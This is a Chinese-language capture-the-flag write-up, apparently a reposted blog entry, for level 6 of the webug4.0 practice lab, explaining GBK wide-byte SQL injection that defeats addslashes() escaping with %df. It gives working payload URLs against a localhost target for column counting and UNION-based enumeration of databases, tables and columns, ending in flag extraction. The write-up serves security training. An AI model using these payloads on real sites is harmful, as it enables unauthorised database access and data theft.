1. 程式人生 > >webug4.0寬字節註入-6

webug4.0寬字節註入-6

技術分享 顯示 rman form sel add strong 斜杠 反斜杠

0x00  前言

GBK是一種多字符編碼,一個漢字占2個字節,utf-8編碼的漢字占3個字節。

addslashes() 函數會對括號裏 (‘) 、(")、 (\)、 (NULL)、的四個字符添加反斜杠並將其返回。

Mysql有一個特性,在進行GBK編碼時會將兩個字符認為一個漢字(前提是第一個字符的ASCII大於128才能達到漢字範圍)。

如果SQL輸入經過了addslashes() 函數處理,我們輸入‘ 時 會變成 \’。一般繞過的方法有兩種

1. 將 \‘ 前面的 斜杠 進行轉義 \\‘ 這樣單引號就能繞過,逃逸出來

2. 想辦法去掉前面的\

0x01  實踐1

看到網址嘗試在後面添加單引號,但是頁面並沒有什麽變化,因為已經知道是寬字節註入,所以添加%df‘

頁面報錯了:

技術分享圖片

可以看到單引號 ‘ 變成了 \‘ %df沒有顯示出來,但我們知道%df轉化成10進制是223 大於128,與後面反斜杠 \ 的16進制%5c 合成一個漢字,使得單引號逃逸出來。這也是上面說的第2個方法。

0x02  實踐2

我們再添加 %df\‘ 會變成 %df5c5c27 %df5c 會組成一個漢字 而%5c5c會進行轉義 後面的單引號逃逸

我們再添加 %dfdf‘ 會變成 %dfdf5c27 %dfdf 會組成一個漢字(至少是個寬字節) 而%5c與%27依舊是 \‘

0x03  註入

剩下過程與前面幾關類似

接下來判斷字段數 判斷結果為2

http://
localhost/control/sqlinject/width_byte_injection.php?id=1%df order by 2--+

爆出數據庫名字

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df union select 1,schema_name from information_schema.schemata --+

數據庫名字:information_schema,challenges,mysql,performance_schema,security,test,webug,webug_sys,webug_width_byte

爆數據庫webug下的表

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df union select 1,table_name from information_schema.tables where table_schema=0x7765627567--+

webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

爆env_list的列

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df union select 1,column_name from information_schema.columns where table_name=0x656e765f6c697374--+

env_list的表裏有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

爆本題flag

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df union select 1,envFlag from webug.env_list where id=6 --+

flag:dfsadfsadfas


轉載記得標明來源:https://www.cnblogs.com/yuuki-aptx/

webug4.0寬字節註入-6